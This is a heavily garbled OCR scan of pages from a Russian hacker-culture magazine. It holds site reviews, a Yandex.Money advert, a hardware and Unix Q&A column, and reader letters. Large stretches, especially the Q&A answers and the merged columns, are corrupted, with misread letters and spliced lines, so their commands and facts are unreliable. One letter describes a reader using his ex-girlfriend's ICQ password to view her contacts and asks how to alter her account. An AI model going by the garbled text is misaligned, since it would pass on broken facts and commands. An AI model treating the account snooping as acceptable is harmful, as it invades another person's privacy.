«левых» окон. А все потому, что браузер СІіозігіІІа размещает свое окно на эк- 
ране так, что оно четко вписывается в окно какого-нибудь полезного приложе- 
ния вроде ѴѴогсГа, среды разработки или бухгалтерской программы (на скрин- 
шоте видно, как органично СІіозігіІІа вписалась в ТЬе Ваі!) . Его просто НЕВОЗ- 
МОЖНО заметить, особенно если браузер работает на третьем уровне секретно- 
сти. Для справки: третий уровень - это когда веб-странички выводятся все в 
едином стиле: серый текст на белом фоне + рамочки от рисунков (сами рисун- 
ки появляются, когда на рамочку наводишь мышкой)... Хе-хе... Босс может сто- 
ять от тебя в двух шагах и быть в полной уверенности, что ты работаешь над до- 
кументами, даже не подозревая о том, что это не документы вовсе, а самые на- 
стоящие порносайты :). Если же начальство подойдет ближе, чем на два шага, 
тебе достаточно будет убрать мышку с веб-странички, и бродилка исчезнет с эк- 
рана. Когда опасность минует, вернуть окно СІтозІгіІІа поможет нехитрый жест: 
мышку налево до края, направо и снова налево. 
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>й Валюта интернета 

Америка ввела новые купюры, Европа ввела новую валюту, Яндекс вводит новые деньги. Циф- 
ровыми деньгами можно платить в интернете за книги, подарки, коммунальные услуги, доступ к 
информации, программы, подписку на печатные издания и многое другое. Вы можете сами по- 
лучать оплату за товары и услуги, переводить деньги друг другу и на банковские счета. 



Номинальная стоимость 

Хотя мы напечатали карточки только 
четырех номиналов, — 100, 500, 

1000, 3000 рублей,— из своего 
Интернет.Кошелька вы можете 
заплатить любую сумму, начиная 
с одной копейки. 



Твердая валюта 

Карточки — единственное материаль- 
ное воплощение цифровой валюты 
интернета. Поэтому они изготовлены 
из твердых пород высококачественного 
пластика. 



рублей 



I- шіех- 

деньги 



№ і. н* 

йіфиияі ■ « « 
чм инР* Ьі ЕР'. Й ДМ 1- тШІм *м л 
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Удобный интерфейс 

В скором времени все кошельки и сейфы будут 
снабжены интерфейсом для подключения 
к интернету. А пока скачайте бесплатный 
Интернет.Кошелек с сайта топеу.уапйех.ги. 




Область применения 

Интернет-магазины, банки, почта, операторы 
сотовой связи, интернет-провайдеры, персо- 
нальные платежи. 



Шырщ ш 358 Н * нвр . 




КОД ПРОВЕРКИ 
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Пароль 

Чтобы воспользоваться карточкой, вам по- 
требуется монетка или другой твердый предмет 
для снятия защитного слоя. Если вы опасаетесь 
стирать защитный слой, можете использовать 
другие способы зачисления денег — например, 
банковский или почтовый перевод. 



Код проверки 

Обычные карточки предоплаты имеют только 
одну степень защиты, Яндекс.Деньги — 
в два раза больше. А безопасность всей 
системы интернет-платежей обеспечивается 
использованием стойких криптографических 
алгоритмов РауСазН. 



Найдётся всё. 



Япсіех- 

Деньги 

топеу.уапсіех.ги 



Спонсор рубрики «Юниты» - ЦНТ центральный телеграф 
шѵш.сііаіир.спі.ги, ѵѵѵѵѵѵ.сагсіз.спі.ги 
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Александр '2роІ50п$' Сидоровский 
(2роІ50п5@геаІ. хакер, ш) 



Угнали?ВУ 



ѵѵѵѵѵѵ.идпаіі.ги 



Инфернальный 

Домен 





Как гласит подзаголо- 
вок, этот сайт - цент- 
рализованная систе- 
ма по поиску и воз- 
врату угнанных авто- 
мобилей. То есть в 
случае, если у тебя 
увели любимую та- 
чанку, к поиску и на- 
казанию уродов, ко- 
торые это сделали, 
можно подключить 
Инет. Ты кидаешь 
мыло на этот сайт, 
после чего запускаются следующие механизмы: информация о пропавшем 
авто закидывается в УВД и ГУВД всех 89 регионов страны, особые приме- 
ты тачки крутят по радио (специальная передача на радио Шансон), народ 
с Угнали . Ру обшаривает гаражи и отстойники, а также ведет работу с ин- 
форматорами в кругах людей «возможно, причастных к угону автомобиля», 
на самом сайте создается страничка с описанием машины, ее фотографи- 
ей и суммой вознаграждения, с которой ты готов расстаться, если желез- 
ного коня вернут владельцу. После этого уже начинается настоящая обла- 
ва с участием вольнонаемных «охотников за головами». Короче, я уже со- 
чувствую отморозкам, которые покусятся на твою авто-собственность. 
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МоогГіиГіп.пагосІ.ги 
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Подзаголовок ресурса: «сак- 
ральная проституция, жерт- 
воприношения и канниба- 
лизм». Подходящее уютное 
местечко для начала нашей 
сегодняшней прогулки по 
Сети. Тексты, которые ты 
здесь прочтешь, введут тебя 
в состояние легкого транса, 
так что приготовься. Описа- 
ние тайных культов и маги- 
ческих ритуалов, анализ сти- 
хотворения Некрасова (!), 
переводы с санскрита какого-то бреда, написанного тысячи лет назад, 
вперемешку с научными статьями типа «зачем пауки дополнительно спа- 
риваются» являют собой мощнейшее психотропное средство, ты уж по- 
верь старому извращенцу. Вот пара выдержек для наглядности. 

Таинственный культ женщины-паука 

«В воцарившейся тишине стал слышен тихий, мелодичный хрип, 
доносящийся из груди девушки. Она отняла руки от гениталий, и я с 
удивлением увидел, что паук ожил и продолжает совершать 
движения, подражающие половому акту. Его лапки при этом быстро, 
вибрируя, бегали по бедрам и животу девушки.» 

Клара Крафт фон Кранц «Оживление» 

«Труп его оттащила слабая девица, стеная, в ванную комнату, 
положила его, позабыла о нем, трупы забываются, имеют такое 
обыкновение, забываются быстро они, еще не успеешь выйти, как 
уже не помнишь о них, черви в них потом заводятся, мухи вьются у 
них в изголовье.» 





Шр://шоогпипп.пагоа.ги 



Конечно, ты знаешь 
зубодробительную 
немецкую игрушку 
Моогііиііп. А раз зна- 
ешь, значит, провел 
за ней уж не один 
час. Хочешь еще бо- 
лее отвязных развле- 
кух в таком стиле? 

Заходи сюда - на 
этом сайте собраны маленькие прикольные игрушки, которые 
ты сможешь за пару минут слить себе на винт, а потом часам 
балдеть в особой, совершенно неповторимой нирване. 
Последний хит на поприще мурхухно-строения - это игрушка 
под названием Зѵеп ВотѵоІІеп. Управляя сексуально озабо- 
ченным, извиняюсь, бараном, нужно поймать и оттрахать каж- 
дую овечку в стаде. При этом злобный пастух и его верный 
пес неусыпно блюдут девичью честь их белокурых подопеч- 
ных. И как только неподалеку раздается сладострастное пре- 
доргазменное блеяние, сразу спешат на помощь жертве сек- 
суальных домогательств. Игруха действительно очень при- 
кольная, одно только выражение «лица» домогающегося бара- 
на в тот момент, когда он залезает на очередную подружку, 
стоит того, чтобы скачать эти несчастные 5 мегов. 



Пиво. Совершенно 
не секретно 



ННр ://позесгеІ5 . Ьеегип іоп . ги 



ч 



Хочешь побывать на пив- 
заводе? Своими глазами 
увидеть, как приготавли- 
вается твой любимый ян- 
тарный напиток? Не во- 
прос! На этом сайте ты 
сможешь, во-первых, по- 
смотреть панорамные 
(360 градусов) масшта- 
бируемые виды всех це- 
хов и основных помеще- 
ний пивоварни, во-вто- 
рых, в режиме он-лайн 
трансляции проконтролировать, чтобы тебе не подлили в пиво какую- 
нибудь гадость, в-третьих, узнать в подробностях все тонкости процес- 
са пивоварения - короче, стать и знатоком, и очевидцем изготовления 
национальной студенческой жидкой валюты. 

Самое главное, в следующий раз, когда будете с друзьями разливать 
очередной боттл, не забудь сразить всех какой-нибудь вычитанной на 
сайте свежей мыслью типа «А вы знаете, что воду для этого пива пред- 
варительно прокипятили и добавили туда хлорку?». Гарантирую, что в 
этот раз тебе достанется больше пива, чем обычно. 
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Все о самогоне 
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Информативный и практичный ре- 
сурс, посвященный истории, техно- 
логии производства, рецептам и 
оборудованию для изготовления са- 
мого русского, самого народного 
прохладительного напитка. Здесь ты 
узнаешь, как глушили самогон наши 
предки и как его следует правильно 
гнать, используя самые современ- 
ные достижения науки. Ты научишь- 
ся собирать самогонный аппарат в 
домашних условиях, узнаешь как за- 
готавливать сырье (когда и как соби- 
рать, сушить), как сбраживать, пере- 
гонять, очищать, ароматизировать 
самогон и придавать ему требуемые 

вкусовые опенки, ну и, конечно, обогатишься сотнями разнообраз- 
ных рецептов этого замечательного напитка. На врезках ты найдешь 
одни из самых простых из них. 

^ Самогон за 2 часа 

Взять 1 0 кг сахара, 1 00 г дрожжей, 3 литра молока, 30-40 литров во- 
ды. Поместить все это в стиральную машину. Крутить 2 часа, затем 
дать отстояться и перегнать. 

Самогон из конфет 

Взять 5 кг конфет с начинкой, развести в 20 литрах воды. Настаивать 






Увеличение пени- 
са без операции 

млмѵѵ.Ьід-репіз.ги, Шр://Ь-репіз.пагос1, Шр://репіз. 
Ьу.ги, ѵѵшѵ.теіосііс.сот, ѵѵѵѵ\л/.сІиЬ708.ги, и т.д. и т.п. 



Различные (на первый 
взгляд) методики увели- 
чения твоей самой глав- 
ной конечности предла- 
гаются на десятках сай- 
тов в рунете. Непослуш- 
ный орган можно увели- 
чить в домашних услови- 
ях в буквальном смысле 
своими собственными 
руками. При этом гаран- 
тируется и удлинение (от 
2 до 8 см в зависимости от смелости авторов сайта), и утолщение 
ствола, обещаются также большая красивая головка и массивная мо- 
шонка. Чтобы стать обладателем этого счастья, надо заплатить всего- 
навсего 200-600 рублей (опять же зависит от предприимчивости «це- 
лителей»). При этом тебе открывают запороленную область сайта или 
высылают руководство в МтІ, или даже продают книгу - короче, осча- 
стливливают тебя заветным ноу-хау. Однако не спеши бежать в Сбер- 
банк и оплачивать счет. Действенность методики оставлю на совести 
продающих (хотя недавно одних таких увеличителей пенисов посадили 
за мошенничество, предварительно изъяв пару-тройку вилл, роллс- 
ройсов и яхт). Скажу только, что все эти «таинственные» даосистские 
методики, методы «доения» и прочие секретные чудо-способы можно 
легко найти в Инете абсолютно на халяву, т.е. даром. Загляни, напри- 
мер, сюда - ѵѵѵѵѵѵ. Иаіуаѵа. ги/аиІоего5/іпсІех5 . ИІтІ (все то же самое, что 
на закрытых платных страничках, только совершенно свободно). Удачи 
в нелегком мануальном труде! 



ФУГА: Футурологи-** ЗЕТІ@Нопле 

ИИр://зеІіаІИоте.зрЬ.ги 

■^1 ческая газета ^ 
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Шр : //ѵѵѵѵѵѵ .іи да. ш 



о том, что нас 
ждет в будущем, 
почему нас там 
это ждет и что по 
этому поводу де- 
лать. Вперемешку 
с размышлениями 
«за жизнь». Отсю- 
да ты вынесешь, 
безусловно, очень 
ценные знания, 
что первыми в ки- 
боргов превратят- 









2 = ± 







ся инвалиды, что инопланетян найдут к 2027 году, что резко поумнев- 
шие стиральные машины и унитазы станут нашими новыми язычны- 
ми богами, что боты уже сейчас могут обмануть специалистов, заста- 
вив их думать, что они общаются с живым человеком и т.д. и т.п. Что 
мне здесь понравилось, так это то, что материал подается не по-на- 
учному сухо, а с точки зрения обычного современного молодого чела, 
такого, как ты и я. С периодическим вклиниванием в нить глубоко на- 
учных рассуждений слэнга или вообще нецензуры. 

Статей довольно много, так что если ты увлекаешься хай-теком и вся- 
кой такой шнягой, то зависнешь на этом сайте надолго. 



Ты когда- нибѵдь хотел 









леных человечков»? Нет, 
не зеленых чертиков, ко- 
торые появляются после 
второй бутылки водки, а 
тех самых, с большими 
головами и умными чер- 
ными глазами... ну, ты 
понимаешь. Теперь у тебя есть возможность если уж не поймать од- 
ного такого за шкирку (или что у него там), то, по крайней мере, точ- 
но вычислить, что он где-то живет и тоже слушает радио «Маяк». 
Именно радиосигналы, приходящие из космоса, ты будешь анализи- 
ровать на своем компе с помощью обычного скринсейвера, который 
можно скачать на сайте проекта ЗЕТІ@Ііоте. Идея проекта проста: 
сложнейшее оборудование «слушает» космос, пытаясь уловить на 
миллиардах радиочастот хоть какие-нибудь сигналы. Для обработки 
этих данных нужен либо сверхмощный суперкомпьютер (такой пока 
и не изобрели еще), либо... тысячи обычных РС. Теперь догоняешь? 
Пока ты отошел покурить, на твоем компе включается специальный 
хранитель экрана, который забирает из Инета очередную порцию 
исходных данных по крошечному участку неба (на котором, впрочем, 
могут уместиться миллионы разумных миров) и начинает их обсчи- 
тывать. Закончил - отослал куда надо, слил следующий участок. По- 
томки скажут про тебя: а, это тот самый Вася, который обнаружил 
этих гигантских инсектоидов, захвативших всю планету! 
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Зіерап ІІуіп ака $іер (Тад@геаІ. хакер. ги) 



Задавая вопрос, подумай! Не стоит мне посылать 
вопросы, так или иначе связанные с 
хаком/кряком/фриком - для этого есть Наск-Тад 
(МасІгіад(д)геаІ .хакер. ш), не стоит также задавать 
откровенно ламерские вопросы, ответ на которые 
ты при определенном желании можешь найти и 
сам. Я не телепат, поэтому конкретизируй вопрос 
присылай как можно больше информации. 




вопрос о".", 117 иа и<? ОЦеНЬ - ОЬЫлфІл ВіЯНТ НС! 

Ситра^ш.такоВа^ ***% „" „их находится ю 2 > контро- 

Но с нояВлеяием такого 

ье-м ■расіюВои-системы Ь ро>шм стою 

§=^Г._— 

Кльше, ни меньше - все пргюто и со вкусом. 

ции, которые по с ° в “^ не только просмотра и копирования файлов. Единственным, но су- 

мы весьма приемлема - 400 рублей. ш 




рвш аеюгУ 

н и, теме У™ нс««. ™ ^ 

Еигоое Опііпе (ЕОЦ (ууШдШ^ШіИп^ШП) н0 уше дшего из жизни Ші). За долгое 

=даЖ5гг====--------'-- 

телен. Висит на спутнике «Астра». 

РІапеіЗку (ущ^ІШіеШхот) , № тоа(ЬиКО м затем все изменилось, и тарифы стали ку- 

Когда-то этот пров был откровенной халявой с и* Р Ф ’ многие И3 ег0 первоначальных плюсов ос- 
да менее привлекательными для русской варезнои ду ^ ПОЭ тому работать с ним можно даже с та- 

~= вкгпггйй 1 *— — ^ 

но ведь тарелку можно и поменять? 

р „ а - вііагпеі (ущШшШа) . 

Также обрати внимание на. Вігагпет шии. 

, п/л+ опт) 



О: Как грамотно ьроВести те- 



ответ. 



1) Снять радиатор. 

2 ) Снять с него кулер. 

3) Радиатор прочистить влажной кисточко 
л\ Гнать сами лопасти. 

5) Лопасти также прочистить влажной кисточкой. 

6) Капнуть каплю масла во втулку. 

"«мопасты размазать по камню тонким слоем (хватит ма- 

Гле "чій совестью крепишь все на свои места и радуешься 
упавшей температуре на 5-10 градусов. 




> 









6 орйТ,.сг.арьм .В.ерсш у 

ответ 

Сетевой протокол - дело тонкое, и даже если 

вода ІР собеседника в своем клиенте, Р с протоколом ІСО, напри- 

Поэтому все альтернативные и ™Р нет '"®^ ап (^.сепЛеапвЫДов.сош), эту возмож- 
мер, Мігапба (шігапйа-іед.зоигееіогдедеі) жов др^н по умолчанию. Но ес- 

ность стороной не обходят, и в В ““ А т0 совету|0 тебе использовать патчи/за- 

„и ты истинный поклонник родного I ^ С и а на ™ е утилиты для работы с ІСО, всегда проле- 
платки, ссылки на них, как, впр , сь сп у чае м, хочу предостеречь тебя от ис 

ворующие пароли и контакт-листы твоей аськи. 



1)го такое. «Ю9Т-НЫІІ» а «сеВер- 

т^'МОСТГ 

ответ - 

Чипсеты состоят из 2-х б локо ^ и ос- 
новным является второй, в него встючен ин ^ мамы: содержит 

тальной частью мамы. Он же и 

контроллеры кзша, оперативку инг^фе^ди^, на частоте СИС темнои 

нами. Его иногда называю / й тпе р стви е Подключается к шине РСІ и 
платы. «Южный» мот шеет ^ко^быстр^ ^^ интерфейсы ЮЕ и ІКЯ и 
- —ты, необходимые для шины ІЗД, 

включая контроллеры БМА и прерывании. 



Что Кфет, есш хаюртить 6 Ю 5 іаш ьро- 

ир&ть нёРраВыКыЩю Версию. 

ответ 

™ пооып паже не инициализируя никаких уст- 
Если ВЮЗ перепрошит неправильно, то В Р дисковода на 1 .44Мб, он попытается за- 
ройств (клавиатуры, мо нито ^’ ^^^^^^^етисать флэшер +старую версию 
грузить систему с этой дискеты А если і на ' этой д в аігіогасес . Ьа і (т.е. запуск флэ- 

прошивки ВІОЗ’а (работающую!) и переп р 0Ш „ В ки БИОСа в автоматичк- 
шера и все нужные параметры ком^и стр^и ДЛ Р йства ввода/выво)? не бу- 
ком режиме, т.е. без вмешательства ноль— я. веда ^ ^ После 



Ньюсы Террум РС_2опе 13 Взлом 



Юниксо 








и №Н * на мат*ра"сю<1 мат* *сгь 

сюг АН& - 9ГО г Я ОЙ 14 

№&%%№ -ц&*№ф%ффф 

Г~' 

тельный слот для установки Д специальный контроллер ввода-вывода 

та, который поддержим® 1 г А , Д потоков данных, 

для обработки нескольких входящих „ли ВІОе, то ее контроллер под- 
скажем, если у тебя ^еринс^я пша на ^ ^ ^ разрядюлью 20 

держивает до 12 потоков с часто й Р модема или звуковой карты, 

бит. Этого вполне хватает для норвильнои Р » чем более ран- 

Модамы (и адиокар™ дая зтого у меет преобра- 

ние модели. На них наход - , теле фонной линии или аудиовыхо- 

зовывать цифровой сигнал в анал °™“ слот АМН. Ну, а вся работа по ре- 

да) и обратно. Передачей на пр0 цессор. Это зна- 



д, „о ГОЮ* Ъисштшр окон? ѣм ч*го 

Диспетчер окон - это обычный уп^и^^^уте^т^м^кЬ^и 

меняет их размеры и положение, а *“ Энными даспетчерами окон. Лично я пред- 
епоте являются сейчас «ш • Р«Ч* ^^"рашную тайну, можно обойтись и 
П б^ оГГГо достаточно подправить -/.хіпіігс (если ты запускаешь - 

сердар командой хіпіі) примерно до такого состояния. 

хзеі Ь оИ 
хИозі +ІосаІИо5і 
хзеігооі - 50 ІІСІ Ыаск 
хсіоск -сі & л л _ 0 

хШ -ѵоіите 0 -д =80x80-0+0 & 
хіѳггп -д =80x25+150+150 
Попробуй и, возможно, тебе понравится :). 






а Что таю * А ОР/^ига 
ЪІОВ' 7 У м<гня о и 12 . о по, а сколько 
Н&Зб'Я ш ѵю нгѵ вмяат. 

Арёіійге Зігё 

метре указывается шксим№ныи^із ^ ВІ05 'ом принимает значе- 

деокартой с интерфейсом А . ~ плать , / как правило, 64МЬ). 

ние, выбранное производителем материно ' 4МЬ Р 8 МЬ, 16МЬ, 32МЬ, 

Разрешенный ряд значении Г Р^ Ч “™ ^ ет ^ь другим). Короче-, установка 



Мне И <г. нравятся ^никсовые фо 

ей^че^&содіимь 1 ® 

/“Гвиіу порту подключен модем (у меня к СОМ1) */ 
ррр ОМ тйіап> зе» беѵісе /беѵ/сиа00 

/•скорость порта 7 

ррр ОИ тібіап> зеі зрееб 1 1 5200 * 

/* переходим в терминальный режим / 

ррр ОИ тібіап> Іегт 

/* указываем телефон модемного пула / 

После дозвона тебе останется ввести логин и пароль, а также добавить станд арт- 
ный маршрут в таблицу ^Р^ и: 

ррр ОЫ шйіап> асИ! беіаиіі НІ5АЕЮ спосо6 „опахивает для тебя гимо- 

В °:ГиГе Й ^Гт^ .-""-пвять альтернативные звонилки, напри- 
мер, - Хізр (МІр://хІ5р.беИид.дг) 



А как мне в иксах 

в ёВЯ29\ОГЬ -скриниѵот . 

ответ 



/(сделать хѵ **' ІЮІ0 ^ ая ВХ °" 

ДИТ в поставку X- ѴѴіпсІоѵѵ: 

— прос : треть только програм ' 
мой х\міб (которая также входит в поставку). 

$ хѵѵигі -ІП -/зсгеепі оа ботать с различными 

2) использовать программу, к0Т0 Р а * Р * ■ * ьтр. Здесь 

форматами изображений, в том числе с .рпд, -ІР0. 0 Р 

могу порекомендовать хѵ и кзпарзбоі. 






Отказа качать ониксовый 
в?. Угости- ссыпками. 



Дй^ІтеаІ ПЙ - ™чно я все ищу а»»- 

если не нахожу, иду сюда. 

^р- /ЯгРЯИрОГІ5.0Га - архив портов. 

8ВйКйггй‘-”-- - 



Изменим 
жизнь 
к лучшему 



РНІЫР5 



Х-Стиль 



Кодинг 



Юниты 



Оиі^> 
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Юниты 



НЯ ПИСЬМП ОТВЕЧЯЛ СЕПТПЕН 




о 



о 



Наше е-мыло: тада2Іпе@геаІ. хакер. ш 



НИМ ПРИНОДИТ НУЧД ПИСЕМ, НО ЧЧ/ ЭТОГО СППМП 

мы српзу отпрпвляЕМ в /оец/гши 

Сразу же в треш: 

1 . Письма с матом, пустой руганью - хамов мы не любим. 

2. Просьбы выслать кряк, программу - поисковики в Инете тебе помогут. 

3. Объяснить, почему не работает программа (железка) - мы не саппорт твоего 
софта и оборудования. 

4. Вопросы в стиле «как настроить» - ПТРМ. 

5. Просьбы прислать бесплатно журнал, компьютер, Мегеесіез СУС - мы сами ха- 
лявщики и халяву не раздаем :). 

6. Взломать/крякнуть/фрикнуть твоего соседа, подружку, мавзолей Ленина - 
мы журналисты и ничего в этом не понимаем, не видели, не знаем. 



А вот письма с мнениями о журнале, критикой, с идеями, предложениями, 
мыслями и прочим, 

относящимся непосредственно к журналу, - мы читаем внимательно. 



раздавать, которые ничуть не лучше вас! Ну, кто кричит, что X ламерский 
журнал? А вы сами-то кто? Хакеры? Крэкеры? А в X статьи написать слабо, 
если такие крутые? 

Р.5. Письмо можете и не печатать, но прочитать его вам придется. Спасибо 
за внимание! Быстрого вам Инета! 



Начнем с конца. Письмо мы не только прочитали, но и опубликовали. И вот по- 
чему: да, открыта очередная Америка, и мы будем продолжать открывать ее 
до тех пор, пока большинство не въедет в эту простую и очевидную мысль. НЕ- 
ВОЗМОЖНО СТАТЬ ХАКЕРОМ ТОЛЬКО ПО ЖУРНАЛУ! НЕОБХОДИМО САМОМУ 
НАХОДИТЬ ИНФУ, ИЗУЧАТЬ СПОСОБЫ ЗАЩИТЫ, ЗАНИМАТЬСЯ ПРОГРАММИ- 
РОВАНИЕМ В КОНЦЕ КОНЦОВ!!! Полный одобрямс, браво ВоотВох! Эти про- 
стые, но в то же время великие слова всем выписать на бумажку и громко ме- 
дитировать над ними по сорок минут в день. Настоящими хакерами становятся 
только после этого :) 



! 



_ На просторы нашей великой Родины ворвалась осень. Пожелтели 
листья, крестьяне готовятся торжествовать приход зимы, бабье ле- 
то объявлено наступившим, борьба с урожаем в стадии обостре- 
ния, строители строят, шахтеры роют, хакеры похакивают пома- 
леньку. А я, несмотря на тотальную заторможенность и паузнугость продолжаю 
перебирать пачки ваших писем и умиляться изяществу слога некоторых отдельно 
взятых корреспондентов. Чтобы быстро и ловко поснимать большую часть чита- 
телей с осеннего ручника предлагаю всем для затравочки ознакомиться с пись- 
мом довольно настойчивого нашего читателя из солнечного Казахстана. Итак, Ре- 
нат Нургалиев (Вепа1@паі.к2) рапортует... 



Не доброе время суток! Ну, вы что там, крутые хакеры все, да? Короче, мне все 
равно, опубликуете вы это письмо в вашем журнале или нет, но сразу скажу, что 
я тоже не ламер (чувствую мое мыло скоро придется чистить от писем фанатов 
][), я системный программист серьезной компании, и то что пишут в вашем 
журнале, для меня все равно что детские книжки про колобка. Журнал хороший, 
хоть кто-то помогает ламерам перестать быть ламерами. И новичкам в деле ][ 
тоже есть чего черпнуть из вашего журнала. В этом вы молодцы, не спорю. Но, 
извините меня, какого хр**а вы оскорбляете Билла Гейтса? Что он сделал лично 
вам? Зачем вы прививаете ненависть пользователей к форточкам? Скажи мне, 
друг мой, под чем бы ты сидел, если бы не было форточек? Под ЮНИКСОМ? Не 
верю. Скажи мне, читатель, сколько времени понадобится пользователю, только 
севшему за ПК, чтобы освоить ЮНИКС? А форточки? Вот и оно. Может, команда 
Билла не успевает за безопасностью, но ведь, признайтесь, у вас у всех (и у ваших 
читателей тоже) кишка тонка сделать что-то похожее на то, что сделал Билли? Он 
же один из самых богатых людей в мире, и он добился всего этого не как там 
всякие политики и бизнесмены, он добился всего исключительно своим умом! 
Скажи мне, читатель, ты бы смог, учась в колледже, сделать, можно сказать, 
первую операционную систему для ПК? Написать операционную систему сам, и 
чтобы она прогремела на весь мир? Нет. Так скажи мне, зачем постоянно унижать 
одного из самых честных и лучших бизнесменов мира? Зачем? 

З.Ы: Давайте, яростные фанаты, начинайте спамить мое мыло. Но перед тем как 
начинать, подумайте, пожалуйста. 



Что хочется заметить по данному вопросу? В общем-то не так много: никто 
никакой ненависти в ][ никому не прививает, если быть более внимательным, 
то можно заметить, что многие из нас (точно могу сказать о себе) питают очень 
даже светлые чувства к продукции компании МісгозоН. Если кому-то станет от 
этого круче - я даже трижды напишу, что МісгозоН - Виіех (3 раза)! Легче стало? 
И Цпіхтоже рулез! И все остальное, чем ты пользуешься, и что тебе нравится - 
опять же рулез! О чем здесь вообще говорить? Нравится - юзаешь, не нравится 
- юзаешь что-то более другое. Выбирать тебе, а мы только знакомим тебя со 
СВОИМ взглядом на вещи, и прямо-таки настаиваем из номера в номер на том, 
чтобы ты имел по любому вопросу свое СОБСТВЕННОЕ мнение. Это же так 
просто! А тему с МісгозоН считаю на сегодня закрытой и исчерпанной. Кому 
арбуз, а кому свиной хрящик. 



ІЩ 5 



Маленько успокоившись и утихомирив разыгравшиеся страсти, 
переходим к посланию от ВоотВох-а (ВоотВох86@таіІ.ги) 



Здарова, реальный магазин! Пишет вам один из ваших читателей. Недавно я 
бегал по Инету в поисках кей-гена для электрохакера :) и наткнулся на 
огромное количество сообщений типа «X - журнал для ламеров!» И 
действительно, большинство народу в нашем городе (а он у нас очень 
маленький) считают ваш журнал ламерским. Дык вот, чего пишу-то, хочу, 
чтоб все эти люди знали: НЕВОЗМОЖНО СТАТЬ ХАКЕРОМ ТОЛЬКО ПО 
ЖУРНАЛУ! Необходимо самому находить инфу, изучать способы защиты, 
заниматься программированием, в конце концов! А вы нашли листинги 
вирусов зЮп’а и приколы НоггіИіса, откомпилили и давай другим ламерам 



А теперь волшебная, страшная и несколько интимная история 
от N 00 № (поопе@хакер.ш). Мы давно подозревали, что в ][ 
скрыты некие мутагенные факторы и вот вам живое 
подтверждение. Не парьтесь, все идет по плану, единственное, 
что меня всерьез обеспокоило - это ситуация с девушкой. Вот ее нужно 
разруливать срочно и прочно. N№№5 и НоггіТіс дадут необходимые 
целеуказания. В остальном - течение болезни нормальное, острых осложнений 
не замечено. Пациент скорее жив, чем мертв :)). 



Дарова, тадагіпе. Предупреждение: в письме присутствует нездоровая 
матерная ругань. Так, сразу с места в карьер: хочу обвинить ваш журнал и всех 
авторов, редакторов и сотрудников во всех грехах смертных! Я уже давно читаю 
X. Практически с самого первого номера. Но я не хвастаюсь, это просто для 
начала мысли. Так вот: с того самого времени, как я начал его читать, у меня 
возникли всяческого рода фобии. Каждый раз, перед тем, как сесть на унитаз, 
я осматриваю его внутренности на предмет обнаружения глаз сотрудника 
ФАПСИ или еще хуже ФСБ. Уже очень давно я начал замерять напряжение в 
телефонной линии и при любых колебаниях прекращаю связь с внешним 
миром. Однажды, увидев в зоопарке пингвина, я непроизвольно выкрикнул: 
«Освободите Тукса!» и попытался сломать решетку. Именно из-за вашего 
журнала у меня село зрение и ухудшилось здоровье в целом. После двух лет 
чтения статей Дани я стал таким пошлым, что людям это просто перестает в 
какой-то момент нравиться. Только потому, что в универе дают мыло+пагу и там 
канал 10 МБит/сек. я туда и поступил. После забойных статей Добрянского меня 
стали пугаться люди на улицах, а девушка ведет себя крайне странно. Кроме 
того, у нее начали появляться волосы там, где их не должно быть - на языке. 
Хотя, благодаря вам, девушки меня теперь интересуют меньше, чем компы. 
Когда Мкйоз и НоггіТіс начали впаривать мне каждый свое, я перестал спать по 
ночам. Так, я ничего не забыл? Кажется, нет. Но! Есть и обратная сторона 
медали: я всегда буду читать X, потому, что иначе жить я просто не могу. С 
уважением, NооNе 



^ А вот это письмо я прокомментирую чуть более подробно. Сие 
ІГЧ^г-Э довольно странно, потому что письмо, в общем-то, написано не 
по адресу, да и решение поставленного вопроса, ИМХО, 
никаковское. Дорогой Серж (ѴігНаскег@таіІІ.ги)! Жизнь - 
сложная штука (надеюсь, тебе приходилось сталкиваться с такой доктриной) и 
если ты серьезно предполагаешь описанным тобой способом что-то изменить в 
своей жизни, то попробовать, конечно, стоит, но «оно тебе надо»? Предложу тебе 
более жесткое, но и более эффективное решение: закрой аську, отключи мобилу, 
забудь на время о своей подруге и вдумчиво выкури все, что сочтешь нужным на 
сайте ш/ѵѵ.Іоѵег.ги Особенно вдумчиво кури местный форум. Не исключено, что 
там и столкнемся. С некоторых пор я там бываю все чаще. Удачи с девочками и 
оставь, наконец, в покое свою аську, не тереби ее понапрасну. 

(внимание, орфография и стилистика оригинала сохранена) 



Дароффф! Вопрос жизни и смерти! 

Это связано с аськой , т.к. из-за того что меня кинула девушка за это я узнал 
пароль от ее аськи, видел ее контакт лист! Эта девушка мне очень нравится, 
ближе к телу хотел спросить вас, т.к. в аське весь контакт лист хранится на 
сервакедо: «Как в аське где угодно на видном месте прописать или сделать 
картинку вписать туда с надписью «Я люблю Сержика» чтобы при каждом кон- 
некте в инет или при новой установке аськи с сервака загружалась эта надпись 
и нельзя было с ней ничего сделать» ????????????????????????????????? 
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□ЕЕЕГШЕП представляет 
самые-самые письма номера 






Лэт&жЯѴ 



^ЬйУ 



Почтеннейший хакерствующий юннат, известный как 
ипс1ег_8 (ипсІег_8@таіІ.ги) привнес в сегодняшнюю 
осеннюю сумятицу еще немного здорового хаоса (не 
путать с хаусом, звучащим в моей голове), за что и 
награждается по всей строгости закона. Мое особое 
почтение выражаю тому отважному гражданину, 
который имел смелость назвать котенка таким звучным 
и современным именем. Хочется поинтересоваться, что 
именно вы там со своими кошками через пылесос 
«Уралец» курили, а? Ладно, позволим всем насладиться 
текстом «Самого дурацкого письма номера». 
Орфография, как водится, сохранена. Марш! 



ипсІег_5 (ипсІег_5@таіІ.ги) 



Уважаемая Екатерина Васильева, я, блин, опять насчет Кукурузы, это 
кошка моя... Я уже месяц не могу пылесосить!!! Она его боитца! Я, как 
Вы мне и посоветовали, написал в но мне никто не отвечает! Я так 
подозреваю, что у всех подобная проблема, потому что когда я пошел к 
другу со своим пылесосом и начал пылесосить, его котенок Гашик с 
перепугу с балкона выпрыгнул, чють не разбился!!! Что делать?! 

З.Ы. На всякий случай технические характеристики: Кукуруза - здоровая 
персидская кошка черепахового окраса. Гашик - мелкий черный 
котенок непонятного происхождения. Пылесос - «Уралец» 

1984 года выпуска, серый 






I 



^ ^ Как видишь, темы женщин и денег плотненько между 
собой пересекаются. Закрыв одну, переходим к 
1-ЮЗ другой. Вася Пупкин (еазіѵооб006@уапсІех.ги) снова 
задает вопрос, отвечать на который я уже 
подзадолбался. Сразу даю подробные разъяснения: лично я и 
многие достойнейшие представители Х-Сгеѵѵ действительно не в 
восторге от того, что журнал дорожает. Но! Есть законы рынка, 
которые и вносят эту минорную ноту в нашу беседу. Объясняю 
